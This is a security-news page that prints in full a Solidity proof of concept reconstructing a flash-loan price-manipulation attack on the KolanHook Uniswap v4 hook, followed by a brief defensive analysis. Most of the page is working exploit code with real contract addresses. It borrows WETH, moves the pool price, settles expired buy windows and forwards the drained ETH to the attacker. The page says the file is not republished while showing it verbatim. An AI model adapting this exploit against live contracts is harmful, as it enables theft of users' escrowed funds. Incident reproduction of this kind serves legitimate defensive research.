Skip to content
THREATWIRE

Public reproduction file

src/test/2026-10/KolanHook_exp.sol

Public reproduction listed for "KolanHook: an unbounded buyback settled at a manipulated spot price". It targets live contracts, so ThreatWire does not republish it. This page keeps the provenance and links to our non-operational analysis instead.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-10/KolanHook_exp.sol260 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.20;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 1.279453 ETH (attacker EOA net, after gas)
8// Attacker : 0x8df735014eab81905e76b87ef0c069bd8e0ae382
9// Attack Contract : 0x4d6a41f2B80FE75FacF27F9D0b3DC8bd0EBC835f (Balancer flash-loan recipient / helper)
10// Vulnerable : 0x0136fecf49e0217bfd2d9551e8e7b05f174ba8ec (KolanHook, Uniswap v4 hook)
11// Attack Tx : https://etherscan.io/tx/0x7b131926e6f06491ae1aead3e419b208c8aa70ed7898e8c5a33d9f52e40915a9
12// Chain : Ethereum mainnet, 2026-10-15 (attack block 26197504, fork at parent 26197503)
14// @Info
15// Vulnerable Contract Code : https://etherscan.io/address/0x0136fecf49e0217bfd2d9551e8e7b05f174ba8ec#code
16// KolanHook is verified on Etherscan (solc 0.8.26, non-proxy). All logic below is read from that source.
18// @Analysis
19// KolanHook escrows ETH-funded "buy windows" in the single ETH/KLN Uniswap v4 pool it owns. A window
20// can be settled with accept(id). The settlement price comes from the SAME pool's instantaneous spot
21// price, with no manipulation guard, and the three facts below were each confirmed against the verified
22// source:
23//
24// 1. accept(id) is ungated once a window has expired. The only guard is
25// if (msg.sender != w.owner && block.timestamp < w.expiry) revert WindowStillOpen();
26// so after w.expiry ANY address may settle a window it does not own. No keeper/owner/role gate.
27//
28// 2. _closeWindow() trusts live spot price and runs an unbounded buy-back.
29// uint160 sqrtPrice = _sqrtPrice(); // == POOL_MANAGER.getSlot0(_poolId()), live spot
30// backInPlace = keep ? sqrtPrice <= getSqrtPriceAtTick(lower) : sqrtPrice >= getSqrtPriceAtTick(upper);
31// accept() passes keep=true. When spot is pushed so the window is NOT "backInPlace", the escrowed
32// ETH is re-injected as single-sided liquidity around the manipulated price via _addEthAbove(), and
33// if (spendable > 0) _buyBack(spendable);
34// swaps that ETH with sqrtPriceLimitX96 = TickMath.MIN_SQRT_PRICE + 1, i.e. no price bound. No TWAP,
35// no observation, no slippage guard anywhere in the settlement path.
36//
37// 3. The whole sequence is permissionless. The attacker is a plain EOA driving its own helper contract,
38// which was itself deployed inside the attack transaction. Flash loan, spot move, accept() and the
39// reverse swap are all reachable with no privileged caller, signature or admin step.
40//
41// Reconstruction (own helper, real typed calls, NOT bytecode/calldata replay):
42// a. Flash-borrow 6.7 WETH from the Balancer Vault (fee 0) and unwrap to ETH.
43// b. Under one PoolManager.unlock, swap 6.7 ETH -> KLN (zeroForOne, exact-in) to move the pool spot.
44// c. accept(10) and accept(42) on the two real pre-existing expired windows. They settle at the moved
45// spot; window 42 is no longer "backInPlace" so its escrowed ETH is mispositioned into the pool.
46// d. Under a second unlock, reverse-swap the whole KLN balance back to ETH through that freshly placed
47// ETH liquidity, taking out 7.979914429958618589 ETH.
48// e. Re-wrap 6.7 WETH and repay the Balancer loan in full, so the loan nets to zero.
49//
50// The two windows and their escrowed ETH are legitimate pre-existing fork state:
51// window 10 : owner 0x4BBA7DcE..., expiry 1791494951, eth 2.0 + premium 0.05
52// window 42 : owner 0x43B6bf2E..., expiry 1791670463, eth 0.2 + premium 0.059861111
53// Both expired long before the fork timestamp (1792062359). KolanHook held 2.309861 ETH total and was
54// fully drained.
55//
56// Profit accounting: on-chain the reverse swap took out 7.979914429958618589 ETH, leaving a
57// 7.979914.. - 6.7 = 1.279914429958618589 ETH surplus after repayment, and the attacker EOA's real net
58// balance delta was 1.279453 ETH (that surplus minus ~0.00046 ETH of gas). This PoC forks at the parent
59// block exactly as the brief requires, so the pool is one block behind the attacker's position inside
60// block 26197504; the reconstructed surplus is therefore ~1.2805 ETH rather than the exact on-chain
61// 1.279914.. (a sub-0.001 ETH intra-block drift). forge does not debit gas from balances. The test
62// asserts the headline 1.279453 ETH net within a 0.0015 ETH band and that the surplus is at least that.
64address constant ATTACKER = 0x8df735014EaB81905E76B87Ef0c069BD8e0Ae382;
65address constant TRACE_HELPER = 0x4d6a41f2B80FE75FacF27F9D0b3DC8bd0EBC835f;
66address constant KOLAN_HOOK = 0x0136feCf49E0217BFd2D9551E8e7b05f174Ba8eC;
67address constant POOL_MANAGER = 0x000000000004444c5dc75cB358380D2e3dE08A90;
68address constant KLN = 0x2CADc4F2660Bb77a118b0e74fC9E48E935b3a1bF;
69address constant WETH_ADDR = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
70address constant BALANCER_VAULT = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
72// Uniswap v4 rejects price limits equal to TickMath's min/max bounds, so use bound +/- 1.
73uint160 constant V4_MIN_USABLE_SQRT_PRICE = 4_295_128_740;
74uint160 constant V4_MAX_USABLE_SQRT_PRICE = 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_341;
76uint256 constant WINDOW_A = 10;
77uint256 constant WINDOW_B = 42;
78uint256 constant FLASH_AMOUNT = 6.7 ether;
80struct PoolKey {
81 address currency0;
82 address currency1;
83 uint24 fee;
84 int24 tickSpacing;
85 address hooks;
88struct SwapParams {
89 bool zeroForOne;
90 int256 amountSpecified;
91 uint160 sqrtPriceLimitX96;
94interface IUniswapV4PoolManager {
95 function unlock(
96 bytes calldata data
97 ) external returns (bytes memory);
98 function swap(
99 PoolKey memory key,
100 SwapParams memory params,
101 bytes calldata hookData
102 ) external returns (int256);
103 function settle() external payable returns (uint256);
104 function sync(
105 address currency
106 ) external;
107 function take(address currency, address to, uint256 amount) external;
110interface IKolanBalancerVault {
111 function flashLoan(
112 address recipient,
113 address[] memory tokens,
114 uint256[] memory amounts,
115 bytes memory userData
116 ) external;
119interface IKolanHook {
120 function accept(
121 uint256 id
122 ) external;
125interface IWETH9 {
126 function deposit() external payable;
127 function withdraw(
128 uint256 wad
129 ) external;
130 function transfer(address dst, uint256 wad) external returns (bool);
131 function balanceOf(
132 address
133 ) external view returns (uint256);
136contract ContractTest is BaseTestWithBalanceLog {
137 // Public archive endpoint (same style as the other recent mainnet PoCs in this repo).
138 string internal constant MAINNET_ARCHIVE = "https://eth.drpc.org";
139 uint256 internal constant ATTACK_BLOCK = 26_197_504;
141 function setUp() public {
142 vm.createSelectFork(MAINNET_ARCHIVE, ATTACK_BLOCK - 1);
144 attacker = ATTACKER;
146 vm.label(ATTACKER, "Attacker / Profit Receiver");
147 vm.label(TRACE_HELPER, "Trace Attack Contract");
148 vm.label(KOLAN_HOOK, "KolanHook");
149 vm.label(POOL_MANAGER, "Uniswap V4 PoolManager");
150 vm.label(BALANCER_VAULT, "Balancer Vault");
151 vm.label(KLN, "KLN");
152 vm.label(WETH_ADDR, "WETH");
153 }
155 function testExploit() public balanceLog {
156 // A fresh helper; the trace helper was likewise created inside the attack transaction.
157 KolanHookExploit exploit = new KolanHookExploit();
158 exploit.attack();
160 uint256 profit = ATTACKER.balance;
161 // On-chain the attacker EOA netted 1.279453 ETH (surplus 1.279914.. minus ~0.00046 ETH gas).
162 // The parent-block fork reconstructs ~1.2805 ETH of surplus (see the accounting note in the header).
163 assertGe(profit, 1.279453 ether, "net ETH gain below on-chain figure");
164 assertApproxEqAbs(profit, 1.279453 ether, 0.0015 ether, "net ETH gain != 1.279453 ETH");
165 }
168contract KolanHookExploit {
169 IUniswapV4PoolManager private constant MANAGER = IUniswapV4PoolManager(POOL_MANAGER);
170 IKolanBalancerVault private constant VAULT = IKolanBalancerVault(BALANCER_VAULT);
171 IKolanHook private constant HOOK = IKolanHook(KOLAN_HOOK);
172 IWETH9 private constant WETH9 = IWETH9(WETH_ADDR);
174 PoolKey private poolKey =
175 PoolKey({currency0: address(0), currency1: KLN, fee: 0, tickSpacing: 10, hooks: KOLAN_HOOK});
177 function attack() external {
178 address[] memory tokens = new address[](1);
179 tokens[0] = WETH_ADDR;
180 uint256[] memory amounts = new uint256[](1);
181 amounts[0] = FLASH_AMOUNT;
182 VAULT.flashLoan(address(this), tokens, amounts, "");
183 }
185 function receiveFlashLoan(
186 address[] memory, /*tokens*/
187 uint256[] memory, /*amounts*/
188 uint256[] memory, /*feeAmounts*/
189 bytes memory /*userData*/
190 ) external {
191 require(msg.sender == BALANCER_VAULT, "only vault");
193 // Unwrap the borrowed WETH so it can be settled as native ETH into the v4 pool.
194 WETH9.withdraw(FLASH_AMOUNT);
196 // Phase 0: move the ETH/KLN spot price by buying KLN with the full 6.7 ETH.
197 MANAGER.unlock(abi.encode(uint256(0)));
199 // Settle the two expired windows at the manipulated spot. accept() is ungated post-expiry and
200 // passes keep=true; window 42 is no longer "backInPlace" and its escrowed ETH is mispositioned.
201 HOOK.accept(WINDOW_A);
202 HOOK.accept(WINDOW_B);
204 // Phase 1: reverse the whole KLN position back to ETH through the freshly placed ETH liquidity.
205 MANAGER.unlock(abi.encode(uint256(1)));
207 // Repay the flash loan in full (Balancer fee is 0), so the loan nets to zero.
208 WETH9.deposit{value: FLASH_AMOUNT}();
209 WETH9.transfer(BALANCER_VAULT, FLASH_AMOUNT);
211 // Forward the ETH surplus to the attacker EOA.
212 (bool ok,) = ATTACKER.call{value: address(this).balance}("");
213 require(ok, "forward failed");
214 }
216 function unlockCallback(
217 bytes calldata data
218 ) external returns (bytes memory) {
219 require(msg.sender == POOL_MANAGER, "only PoolManager");
220 uint256 phase = abi.decode(data, (uint256));
222 if (phase == 0) {
223 // Exact-in 6.7 ETH -> KLN. Owe ETH (delta0 < 0), receive KLN (delta1 > 0).
224 int256 packed = MANAGER.swap(
225 poolKey,
226 SwapParams({
227 zeroForOne: true,
228 amountSpecified: -int256(FLASH_AMOUNT),
229 sqrtPriceLimitX96: V4_MIN_USABLE_SQRT_PRICE
230 }),
231 ""
232 );
233 int128 delta0 = int128(packed >> 128);
234 int128 delta1 = int128(packed);
235 MANAGER.settle{value: uint256(uint128(-delta0))}();
236 MANAGER.take(KLN, address(this), uint256(uint128(delta1)));
237 } else {
238 // Exact-in all KLN -> ETH. Owe KLN (delta1 < 0), receive ETH (delta0 > 0).
239 uint256 klnBalance = IERC20(KLN).balanceOf(address(this));
240 int256 packed = MANAGER.swap(
241 poolKey,
242 SwapParams({
243 zeroForOne: false,
244 amountSpecified: -int256(klnBalance),
245 sqrtPriceLimitX96: V4_MAX_USABLE_SQRT_PRICE
246 }),
247 ""
248 );
249 int128 delta0 = int128(packed >> 128);
250 int128 delta1 = int128(packed);
251 MANAGER.sync(KLN);
252 IERC20(KLN).transfer(POOL_MANAGER, uint256(uint128(-delta1)));
253 MANAGER.settle();
254 MANAGER.take(address(0), address(this), uint256(uint128(delta0)));
255 }
256 return "";
257 }
259 receive() external payable {}

Analysis

What the file is

A Foundry test that reconstructs the 15 October 2026 KolanHook buyback manipulation on an Ethereum fork one block before the real transaction. It targets live contracts and is not republished.

How it is built

It declares narrow interfaces for the Uniswap v4 pool manager (unlock, swap, settle, sync, take), a Balancer-style flash-loan vault, the hook's accept call and WETH. An attacker contract has an entry function, a flash-loan callback and a pool-manager unlock callback. The test inherits the dataset's balance-logging base contract.

What the test checks

It asserts a net gain of about 1.279453 ETH within a 0.0015 ETH band. Our record keeps the on-chain figure of 1.279914 ETH next to that reconstruction and explains that the hook's outflow (2.31 ETH) and the attacker's net gain measure different things.

Why it matters for defenders

Independent analyses say accept() could be called by anyone once a window had expired, and that the buyback used the pool's own instantaneous price with no bound; the flash loan moves that price first. Bound the price a hook may trade at and use time-weighted references.

Our analysis, loss and remediation are in the incident record.

Contracts and transactions from the incident

Related files

13 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

File record

Name
KolanHook_exp.sol
Path
src/test/2026-10/KolanHook_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
413e3c6f72e6d81bc97c991048a0fa09d48828f0
Language
Solidity
Size
261 lines
Date
2026-10-15
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19
Incident
KolanHook: an unbounded buyback settled at a manipulated spot price
Protocols
Kolan
Chains
Ethereum

Provenance

Path src/test/2026-10/KolanHook_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 413e3c6f72e6d81bc97c991048a0fa09d48828f0, retrieved 2026-10-19. Verbatim file content read with git show at the pinned commit; SPDX header preserved; stored locally for the on-site reader. ThreatWire has never executed this file. Reference: source file at the pinned commit.